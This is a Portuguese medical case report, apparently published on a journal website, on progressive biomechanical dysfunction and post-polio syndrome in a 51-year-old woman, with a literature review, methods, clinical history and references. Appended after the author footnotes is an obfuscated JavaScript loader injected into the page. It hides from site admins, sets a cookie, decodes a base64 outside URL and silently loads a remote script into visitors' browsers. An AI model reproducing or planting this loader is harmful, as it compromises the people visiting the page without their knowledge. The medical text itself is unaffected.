<p class="wp-block-paragraph">Mediante ao exposto, pode-se concluir que a degeneração muscular é fator central na deterioração física progressiva, provocando limitações nas articulações e redução da capacidade de marcha (Calado et al., 2020). O envelhecimento fisiológico soma-se à falência das unidades motoras regeneradas, gerando fraqueza e atrofia. Essa deterioração acumulada, observada em análises clínicas e longitudinais, interfere diretamente na biomecânica corporal e explica o declínio motor contínuo evidenciado em diferentes populações acometidas pela poliomielite (Quarleri 2023; Laffont et al. 2024; Grellmann et al. 2024).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3</strong> <strong>Impactos na saúde e qualidade de vida&nbsp;</strong></p>



<p class="wp-block-paragraph">As sequelas biomecânicas decorrentes da poliomielite comprometem a capacidade funcional e a qualidade de vida dos sobreviventes. Estudos mostram que o declínio motor progressivo causa limitação nas atividades diárias, dor e fadiga, mas nem sempre há correlação direta com sofrimento psicológico (Irshad et al., 2023). Mesmo com agravamento físico, muitos mantêm estabilidade emocional e esperança, fatores que favorecem a adesão terapêutica e o enfrentamento das restrições biomecânicas impostas pela doença (Shiri et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">A resiliência emocional exerce papel relevante na reabilitação funcional. A manutenção da satisfação pessoal e da saúde mental indica que fatores psicossociais modulam o impacto clínico da disfunção neuromuscular (Shiri et al., 2023). Assim, o equilíbrio psicológico contribui para retardar o agravamento físico e reforça a importância de intervenções que integrem aspectos motores e emocionais, buscando preservar o desempenho biomecânico e a qualidade de vida dos indivíduos pós-pólio (Motta et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Ao avaliar 214 pacientes, Calado et al. (2020) notou melhora da dor, fadiga e fraqueza muscular após programas multidisciplinares de autogerenciamento. Houve aumento da velocidade e da distância de marcha, demonstrando reequilíbrio biomecânico. Os participantes em fisioterapia em grupo relataram melhora funcional e redução da dor. Mediante ao exposto, verificou-se que intervenções estruturadas, isto é, programas terapêuticos planejados, padronizados e conduzidos com objetivos, métodos e progressões bem definidos, podem minimizar os efeitos da degeneração neuromuscular e preservar a autonomia clínica dos pacientes pós-pólio.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.4</strong> <strong>Intervenções ortopédicas e neuromodulação&nbsp;</strong></p>



<p class="wp-block-paragraph">As intervenções biomecânicas e ortopédicas constituem recurso essencial na recuperação funcional de indivíduos com sequelas de poliomielite. Uma pesquisa constatou que entre 30% e 40% dos sobreviventes necessitam de artroplastias rotatórias de joelho, apresentando melhora de 30,08 para 78,83 pontos no AKSS e de 29,17 para 56,25 na função. Essas intervenções corrigem deformidades e reduzem o impacto das assimetrias estruturais sobre a marcha e o equilíbrio corporal (Tigani et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">O mesmo estudo verificou manutenção da melhora funcional e ausência de falhas mecânicas após substituições articulares (Tigani et al., 2024). A restauração do alinhamento estrutural resultou em menor dor e recuperação do desempenho locomotor. Intervenções ortopédicas de correção biomecânica, quando realizadas de forma personalizada, mitigam o avanço da degeneração motora e promovem equilíbrio estrutural em indivíduos com sequelas poliomielíticas avançadas (Irshad et al., 2023).&nbsp;</p>



<p class="wp-block-paragraph">Os tratamentos com tecnologia REAC têm culminado em uma melhora na força muscular, resistência à fadiga e coordenação motora. A neuromodulação favoreceu a reorganização funcional e reduziu a sobrecarga das unidades motoras. Assim, pode-se concluir que o controle da fadiga, obtido por estímulos neurobiológicos, mostrou-se determinante para estabilizar a evolução clínica, evitando agravamentos funcionais e prolongando a capacidade de execução motora em pacientes com síndrome pós-pólio (Motta et al. 2023).&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.5</strong> <strong>Ação da equipe multidisciplinar&nbsp;</strong></p>



<p class="wp-block-paragraph">A abordagem multiprofissional é considerada elemento indispensável no tratamento da síndrome pós-pólio. Nota-se que o manejo farmacêutico contínuo reduz interações medicamentosas e melhora a funcionalidade. Já o uso controlado de múltiplos fármacos evita o agravamento de fadiga e dor muscular, contribuindo para maior adesão terapêutica e retardamento da deterioração biomecânica progressiva. Essa integração farmacêutica assegura estabilidade clínica e otimiza o desempenho físico dos pacientes (Santos et al., 2025).&nbsp;</p>



<p class="wp-block-paragraph">Programas coordenados de reabilitação que integram fisioterapeutas, ortopedistas, fisiatras, neurologistas, pneumologistas, psiquiatras, psicólogos, farmacologista e suporte emocional permitem intervenções simultâneas sobre aspectos físicos e psicológicos. Estudos demonstram que essa integração melhora o equilíbrio, reduz a dor e prolonga a autonomia funcional. A atuação interdisciplinar fortalece o controle da disfunção biomecânica e favorece a recuperação motora de longo prazo, consolidando-se como eixo estruturante da assistência aos indivíduos com sequelas de poliomielite (Curtis et al., 2020/ Quarleri, 2023; Grellmann et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">A articulação entre práticas fisioterapêuticas, neuromodulatórias e farmacêuticas reduz o avanço da degeneração motora e melhora o desempenho clínico (Motta et al., 2023; Laffont et al., 2024; Tigani et al., 2024). Assim, pode-se concluir que a reabilitação integrada, baseada em personalização terapêutica e monitoramento multiprofissional, constitui estratégia essencial para preservar a funcionalidade, retardar o agravamento biomecânico e assegurar qualidade de vida a pacientes com síndrome pós-pólio.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>METODOLOGIA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo caracteriza-se como um relato de caso, cuja finalidade é descrever e analisar de forma aprofundada a trajetória clínica de uma paciente com histórico de poliomielite e evolução para disfunção biomecânica progressiva. A participante do estudo é uma mulher de 51 anos, residente em Quirinópolis -GO, diagnosticada com poliomielite na infância, evoluindo com sequelas motoras significativas em membro inferior direito.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Este caso é considerado relevante por representar um quadro clínico complexo, com histórico prolongado de intervenções ortopédicas, uso de órteses e recorrentes limitações funcionais, sendo acompanhado há mais de uma década em um centro de referência estadual em reabilitação. Tal acompanhamento contínuo possibilita documentar de forma precisa as adaptações biomecânicas decorrentes da progressão da doença.&nbsp;</p>



<p class="wp-block-paragraph">A coleta de dados foi realizada tendo como base a exploração de múltiplas fontes documentais e clínicas, incluindo análise de prontuário médico, registros terapêuticos, exames físicos, anotações de consultas, radiografias, escanometrias e eletroneuromiografias. O prontuário e os demais documentos clínicos utilizados no estudo foram fornecidos diretamente pela participante. Todos os dados foram organizados em planilhas e formulários padronizados para posterior sistematização.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos dados se apoiou na abordagem descritiva e comparativa, sem aplicação de métodos estatísticos, uma vez que o estudo tem natureza qualitativa. Foram descritos os achados clínicos, funcionais e radiográficos, relacionando-os à literatura científica sobre disfunção biomecânica em pacientes pós-poliomielíticos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Quanto aos aspectos éticos, o estudo foi submetido ao Comitê de Ética em Pesquisa, respeitando as diretrizes da Resolução nº 466/2012 do Conselho Nacional de Saúde e aprovado sob o número do parecer: 7.885.038. O Termo de&nbsp;Consentimento Livre e Esclarecido foi devidamente lido e assinado pela participante, assegurando voluntariedade, anonimato e direito de desistência em qualquer fase do estudo.&nbsp;</p>



<p class="wp-block-paragraph">A abordagem à participante ocorreu de forma presencial, mediante o envio, previamente, de um convite, ocasião em que foi feito o esclarecimento detalhado dos objetivos do estudo, seguido da leitura e assinatura do Termo de Consentimento Livre e Esclarecido (TCLE). A coleta de informações foi realizada em ambiente reservado, no domicílio da participante, assegurando condições adequadas de privacidade, sigilo e confidencialidade.&nbsp;</p>



<p class="wp-block-paragraph">Os procedimentos adotados envolveram inicialmente a revisão documental do prontuário médico da participante. Foram extraídas informações referentes a dados sociodemográficos (idade, sexo, naturalidade, ocupação), histórico clínico (diagnóstico de poliomielite, evolução da doença, cirurgias realizadas, uso de órteses, tratamentos prévios), exames complementares (radiografias, escanometria, eletroneuromiografia) e evolução funcional documentada (força muscular, padrão de marcha, episódios de dor e quedas).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em seguida, como procedimento complementar, foram realizadas entrevistas semiestruturadas com a paciente, conduzidas em local reservado. O roteiro de entrevista incluiu questões abertas voltadas para a percepção da evolução clínica, limitações nas atividades de vida diária, impacto emocional e social da doença e estratégias utilizadas para enfrentamento das dificuldades. Além disso, como parte dos procedimentos, foi aplicado um questionário breve de avaliação funcional e de qualidade de vida, elaborado pelo pesquisador.&nbsp;</p>



<p class="wp-block-paragraph">O questionário foi composto por perguntas objetivas que abordaram a intensidade da dor, avaliada por meio de escala numérica de 0 a 10, a frequência de quedas nos últimos seis meses, o grau de fadiga percebida (leve, moderada ou intensa), o nível de autonomia nas atividades diárias (independente, com auxílio ou dependente) e a força muscular, mensurada pela Escala MRC (<em>Medical Research Council)</em>, além da autoavaliação da qualidade de vida (ruim, regular, boa ou muito boa).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O estudo apresentou risco mínimo, sem intervenções clínicas ou modificações terapêuticas. O único risco identificado esteve relacionado à possibilidade de exposição de dados pessoais da participante, que foi reduzido mediante a adoção de medidas rigorosas de sigilo, garantia de anonimato, uso de códigos em vez do nome, armazenamento seguro das informações e sigilo absoluto. As informações coletadas foram utilizadas apenas para fins acadêmicos e científicos, e foi respeitado o direito da paciente de se retirar do estudo a qualquer momento, sem prejuízos.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Não existem benefícios diretos à participante, mas espera-se que os achados contribuam para o avanço do conhecimento científico sobre as sequelas biomecânicas da poliomielite, orientando estratégias futuras de reabilitação e manejo clínico multiprofissional.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>RELATO DE CASO&nbsp;</strong></p>



<p class="wp-block-paragraph">A paciente S.M.F., do sexo feminino, 51 anos, natural e residente na cidade de Quirinópolis-GO, apresenta histórico obstétrico de três gestações, com dois partos cesáreos a termo e um aborto espontâneo no primeiro trimestre (G3P2A1). Foi diagnosticada com poliomielite aos nove meses de idade, evoluindo com sequelas motoras em membro inferior direito (MID). Durante a infância, passou por diversas cirurgias no intuito de corrigir deformidades e melhorar sua funcionalidade.&nbsp;</p>



<p class="wp-block-paragraph">Contudo, enfrentou dificuldades no seguimento terapêutico devido à limitação de recursos especializados na cidade onde residia, sendo necessário deslocar-se para capitais em busca de atendimento adequado. Atualmente, está em acompanhamento no Centro Estadual de Reabilitação e Readaptação Dr. Henrique Santillo (CRER), em Goiânia-GO, desde 2012. Nesse mesmo ano, em consulta com ortopedista de quadril e fisiatra, relatava dor no quadril direito, dor generalizada, adinamia, quedas frequentes, humor deprimido e isolamento social.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Fazia uso de órtese de reação ao solo havia 8 anos, sem substituição, e apresentava exames radiográficos com articulação coxo-femoral esférica, com redução do espaço articular. No exame físico apresentava marcha independente, escoliose leve e sem dor a manipulação do quadril. Na ocasião, foi indicado o controle da dor com nortriptilina 25mg, encaminhamento para atendimento psicológico, solicitação de nova órtese sem compensação e realização de escanometria, visando avaliação das assimetrias do esqueleto axial.&nbsp;</p>



<p class="wp-block-paragraph">No ano seguinte, em 2013, a paciente evoluiu com quadro clínico de artelhos em garras do 1º ao 5º pododáctilo do pé direito, associado a dor intensa no quadril e MID, além de dificuldade para locomoção e execução de atividades domésticas. Referia também incapacidade de utilizar calçados fechados com palmilhas. Diante da gravidade funcional, a mesma foi submetida a procedimento cirúrgico corretivo em 09/06/2014.&nbsp;</p>



<p class="wp-block-paragraph">Em 2016, durante atendimento com a assistente social, a paciente relatou aumento progressivo do cansaço nos últimos meses, associado a dor na região lombar e no quadril. Informou ter interrompido, por conta própria, o uso de nortriptilina 25 mg, em razão de má adaptação ao fármaco, e referiu o uso frequente, sem prescrição médica, de analgésicos e anti-inflamatórios com o objetivo de aliviar os episódios álgicos. A paciente foi orientada quanto aos riscos do uso indiscriminado de medicamentos sem acompanhamento profissional e encaminhada para reavaliação junto ao serviço de ortopedia, visando à readequação do manejo clínico e das condutas terapêuticas pertinentes ao tratamento ortopédico.&nbsp;</p>



<p class="wp-block-paragraph">Já em 2017, a paciente apresentou progressão do quadro com desenvolvimento de monoplegia em MID, agravada por fraqueza muscular, fadiga, piora da hipotrofia, dor em região glútea e lombar direita, e marcha consideravelmente prejudicada. Observava-se apoio inicial em antepé direito, contato tardio do calcanhar, ausência de flexão ativa de joelho e quadril na fase de balanço da marcha, pé redutível e ausência de atividade motora voluntária no membro.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Diante disso, foi orientada a iniciar atividades físicas em piscina aquecida, com baixa exigência de esforço, além do início de tratamento farmacológico da dor com Duloxetina 30 mg/dia. Em 2021, a paciente referia uso de órtese para auxílio na deambulação, porém passou a apresentar dor na região medial do pé direito ao realizar descarga de peso, mesmo sem a órtese. Ao exame físico, apresentava pé cavo, fraqueza em dorsiflexão e dor à palpação em médio pé e região talar.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Embora tenha sido indicada uma nova órtese, esta não pôde ser utilizada devido à progressão do quadro clínico. Por fim, em 2023, retornou ao ortopedista e traumatologista devido a queixas persistentes de dor no pé direito. Ao exame físico, observou-se pisada plantígrada, dorsiflexão limitada e força muscular reduzida na dorsiflexão. Foram solicitados exames complementares, incluindo radiografia e eletroneuromiografia dos membros inferiores.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em 2024, a paciente retornou com os resultados desses exames, mantendo seguimento clínico. Em análise dos exames de imagens, foram observados na radiografia do tornozelo, pé e calcâneo esquerdo: Textura óssea reduzida; Estruturas ósseas conservadas; Superfícies e espaços articulares íntegros e diminuto entesófito calcâneo plantar (Figura 2). Radiografia do tornozelo, pé e calcâneo direito: Pé cavo; Textura óssea reduzida; Anquilose das articulações interfalangeanas proximais dos pododáctilos; Avançadas alterações degenerativas do tornozelo, médio e retropé, de aspecto sequelar e Entesófito calcâneo plantar (Figura 3).&nbsp;</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="588" height="257" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-721.png" alt="" class="wp-image-258134" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-721.png 588w, https://revistaft.com.br/wp-content/uploads/2025/12/image-721-300x131.png 300w" sizes="(max-width: 588px) 100vw, 588px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Prontuário médico (2024)&nbsp;</p>



<p class="wp-block-paragraph">Em radiografia panorâmica de membros inferiores e escanometria apresenta os seguintes resultados: Textura óssea reduzida, notadamente a direita; Afilamento do fêmur, tíbia e fíbula a direita; Encurvamento da diáfise da tíbia direita; Avançadas alterações degenerativas do tornozelo a direita; Hipotrofia da musculatura a direita e Infradesnivelamento da asa ilíaca direita em cerca de 6 cm (Figuras 4, 5 e 6).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="605" height="314" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-722.png" alt="" class="wp-image-258137" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-722.png 605w, https://revistaft.com.br/wp-content/uploads/2025/12/image-722-300x156.png 300w" sizes="(max-width: 605px) 100vw, 605px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Prontuário médico (2024)</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="169" height="514" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-723.png" alt="" class="wp-image-258139" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-723.png 169w, https://revistaft.com.br/wp-content/uploads/2025/12/image-723-99x300.png 99w" sizes="(max-width: 169px) 100vw, 169px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Prontuário médico (2024)&nbsp;</p>



<p class="wp-block-paragraph">No exame de eletroneuromiografia, revelou evidência de sinais sugestivos de acometimento de neurônio motor inferior do segmento lombossacro, grave intensidade, bilateral, mais intenso à direita, crônico e sem sinais de desnervação ativa. Esse achado pode ser encontrado nas doenças do neurônio motor inferior devido a sequela de poliomielite. A paciente refere um quadro de dor crônica e generalizada, associada a fraqueza muscular difusa e fadiga exacerbada mesmo aos mínimos esforços.&nbsp;</p>



<p class="wp-block-paragraph">Atualmente, a paciente relata episódios recorrentes de perda súbita de força nos membros inferiores, culminando em quedas frequentes. Refere que o quadro funcional vem evoluindo de forma insidiosa, com agravamento progressivo ao longo dos anos. O principal fator limitante descrito é a presença de dor crônica persistente, associada à dificuldade de adaptação aos fármacos para dor neuropática. Relata ainda humor deprimido, desânimo e perda de interesse por atividades cotidianas, compatíveis com sintomas de rebaixamento do humor secundários à dor crônica e às limitações funcionais. Encontra-se em tratamento farmacológico com Duloxetina 60 mg/dia, Paracetamol 750 mg conforme necessidade (SOS) e Tramadol 50 mg em uso eventual, além de realizar pilates de baixo impacto três vezes por semana, como parte do processo de reabilitação motora e alívio sintomático.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>CONCLUSÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A análise clínica da paciente evidenciou que a disfunção biomecânica progressiva decorrente da poliomielite provocou comprometimentos estruturais e funcionais cumulativos, caracterizados por encurtamento ósseo, anquilose articular, dor crônica e fraqueza muscular acentuada. As alterações radiográficas e eletromiográficas confirmaram degeneração das unidades motoras e sobrecarga neuromuscular, resultando em instabilidade postural, fadiga e limitação crescente da marcha. Tais manifestações demonstraram a natureza contínua e degenerativa da síndrome pós-pólio, com impacto direto na autonomia funcional e na qualidade de vida.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, observou-se que as medidas terapêuticas empregadas, como uso de órteses, fisioterapia e controle farmacológico da dor, possibilitaram alívio sintomático, ainda que sem impedir a progressão das sequelas biomecânicas. Diante disso, há que se destacar que o acompanhamento multiprofissional mostrou-se uma estratégia essencial para reduzir desconfortos e favorecer o equilíbrio funcional, indicando que o manejo contínuo e integrado é determinante para preservar o desempenho motor e retardar o agravamento clínico em indivíduos com histórico de poliomielite.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">CALADO, A. C. L. et al. Impacto da fisioterapia na capacidade funcional e qualidade de vida de indivíduos com a síndrome pós-poliomielite. <strong>Educação, Ciência e Saúde</strong>, v. 7, n. 2, p. 98-113, 2020. Disponível em: <a href="https://scholar.archive.org/work/z4ak47st5fej5fi3jhp64yweny/access/wayback/http:/periodicos.ces.ufcg.edu.br/periodicos/index.php/99cienciaeducacaosaude25/article/download/314/pdf_103">https://scholar.archive.org/work/z4ak47st5fej5fi3jhp64yweny/access/wayback/http://p eriodicos.ces.ufcg.edu.br/periodicos/index.php/99cienciaeducacaosaude25/article/do wnload/314/pdf_103.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">CURTIS, A. et al. The value of a post-polio syndrome self-management programme. <strong>Journal of Thoracic Disease</strong>, v. 12, n. 2, p. 153-162, 2020. Disponível em: <a href="https://jtd.amegroups.org/article/view/44758/pdf">https://jtd.amegroups.org/article/view/44758/pdf.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">DATORE, L. S. et al. Análise epidemiológica da cobertura vacinal contra poliomielite nas regiões do Brasil na última década. <strong>Brazilian Journal of Health Review</strong>, v. 8, n.&nbsp;1, p. 1-7, 2025. Disponível em: https://ojs.brazilianjournals.com.br/ojs/index.php/BJHR/article/view/76676. Acesso em: 26 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">GIL, A. C. <strong>Métodos e técnicas de pesquisa social</strong>. 6. ed. São Paulo: Atlas, 2008&nbsp;</p>



<p class="wp-block-paragraph">GRELLMANN, B. S. et al. Síndrome pós-poliomielite: relato de caso. <strong>Brazilian Journal of Health Review</strong>, v. 7, n. 10, p. 1-10, 2024. Disponível em: <a href="https://ojs.brazilianjournals.com.br/ojs/index.php/BJHR/article/view/74853">https://ojs.brazilianjournals.com.br/ojs/index.php/BJHR/article/view/74853.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">IRSHAD, A. et al. Effects of customized biomechanical footwear on gait and balance in individuals with polio: a randomized controlled trial. <strong>Allied Medical Research Journal</strong>, v. 1, n. 2, p. 15-26, 2023. Disponível em: <a href="https://ojs.amrj.net/index.php/1/article/view/14">https://ojs.amrj.net/index.php/1/article/view/14.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">LAFFONT, I. et al. Post-polio syndrome is not a dysimmune condition. <strong>European Journal of Physical and Rehabilitation Medicine</strong>, v. 60, n. 2, p. 270-279, 2024. Disponível em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MOTTA, M. P. et al. Improving strength and fatigue resistance in post-polio syndrome individuals with REAC neurobiological treatments. <strong>Journal of Personalized Medicine</strong>, v. 13, n. 11, p. 1-16, 2023. Disponível em: <a href="https://www.mdpi.com/2075-4426/13/11/1536">https://www.mdpi.com/20754426/13/11/1536.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">NUNES, C.; SANTOS, A.; MORENO, M. Incidência da Disfunção&nbsp;Temporomandibular em Alunos de Fisioterapia do Centro Universitário Ingá e suas&nbsp;Possíveis Correlações com Ansiedade e Qualidade de Vida. <strong>Cuadernos de Educación e Desenvolvimento</strong>, Curitiba, v. 16, n. 10, p. 1-10, 2024. Disponível em: https://cuadernoseducacion.com/ojs/index.php/ced/article/download/5965/4277.&nbsp;Acesso em: 26 de mar. 2025.&nbsp;</p>



<p class="wp-block-paragraph">OLIVEIRA, V. et al. A Disfunção Temporomandibular e a Idade Predizem a&nbsp;Qualidade de Vida Relacionada à Saúde Oral em Homens e Mulheres?. <strong>Revista Contexto &amp; Saúde</strong>, Porto Alegre, v. 48, n. 1, p. 1-10, 2024. Disponível em: https://www.revistas.unijui.edu.br/index.php/contextoesaude/article/download/14485/ 7880. Acesso em: 26 de mar. 2025.&nbsp;</p>



<p class="wp-block-paragraph">QUARLERI, J. Poliomyelitis is a current challenge: Long-term sequelae and circulating vaccine-derived poliovirus. <strong>Geroscience</strong>, v. 45, n. 2, p. 707-717, 2023.&nbsp;Disponível em:&nbsp;<a href="https://pmc.ncbi.nlm.nih.gov/articles/PMC9886775/pdf/11357_2022_Article_672.pdf">https://pmc.ncbi.nlm.nih.gov/articles/PMC9886775/pdf/11357_2022_Article_672.pdf.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">ROCHA, I. P. et al. Impacto da vacinação na mortalidade infantil: estudo ecológico de 1990-2020. <strong>Caderno Pedagógico</strong>, v. 22, n. 5, p. 1-21, 2025. Disponível em: https://ojs.studiespublicacoes.com.br/ojs/index.php/cadped/article/view/14498. Acesso em: 26 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SANAR. Doença do Neurônio Motor: entenda tudo sobre o assunto. <strong>Sanar</strong>, 21 jul.&nbsp;2019. Disponível em: https://sanarmed.com/doenca-do-neuronio-motor/. Acesso em: 26 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SANTOS, M. L. S. dos et al. Acompanhamento farmacêutico na síndrome pós-poliomielite: contribuições para a gestão terapêutica e promoção da qualidade de vida. <strong>Aracê</strong>, v. 7, n. 8, p. 1-13, 2025. Disponível em: <a href="https://periodicos.newsciencepubl.com/arace/article/view/7565">https://periodicos.newsciencepubl.com/arace/article/view/7565.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SHIRI, S. et al. Psychological health in late effects of poliomyelitis: ten-year follow-up. <strong>Healthcare</strong>, v.11, p. 1-9, 2023. Disponível em: <a href="https://www.mdpi.com/2227-9032/11/24/3144">https://www.mdpi.com/22279032/11/24/3144.</a> Acesso em: 20 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SILVA, J. S. da et al. A importância da vacinação contra a paralisia infantil:&nbsp;contribuições para a saúde pública e prevenção de doenças. <strong>Lumen et Virtus</strong>, v.&nbsp;16, n. 49, p. 6585-6601, 2025. Disponível em: https://periodicos.newsciencepubl.com/LEV/article/view/5805. Acesso em: 26 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SOARES, P. et al. Qualidade de Vida Relacionada à Disfunção do Assoalho Pélvico de Gestantes dos Sistemas Público e Privado. <strong>Revista Eletrônica Acervo Saúde</strong>, Brasília, v. 1, n. 1, p. 1-10, 2022. Disponível em:&nbsp;https://acervomais.com.br/index.php/saude/article/download/9785/5894. Acesso em: 27 de mar. 2025.&nbsp;</p>



<p class="wp-block-paragraph">TIGANI, D. et al. Long-term results of third generation of rotating hinge arthroplasty in patients with poliomyelitis. <strong>Prosthesis</strong>, v. 6, n. 4, p. 853-862, 2024. Disponível em: <a href="https://www.mdpi.com/2673-1592/6/4/61">https://www.mdpi.com/2673-1592/6/4/61.</a> Acesso em: 20 out. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Discente do Curso de Medicina pelo Centro Universitário de Mineiros -UNIFIMES. E-mail:&nbsp;nathan.ng82@academico.unifimes.edu.br<br><sup>2</sup>Docente do Curso de Medicina pelo Centro Universitário de Mineiros -UNIFIMES. E-mail:&nbsp;beatrizregina@unifimes.edu.br<br><sup>3</sup>Docente do Curso de Medicina pelo Centro Universitário de Mineiros -UNIFIMES. E-mail: vanessabridi@unifimes.edu.br</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
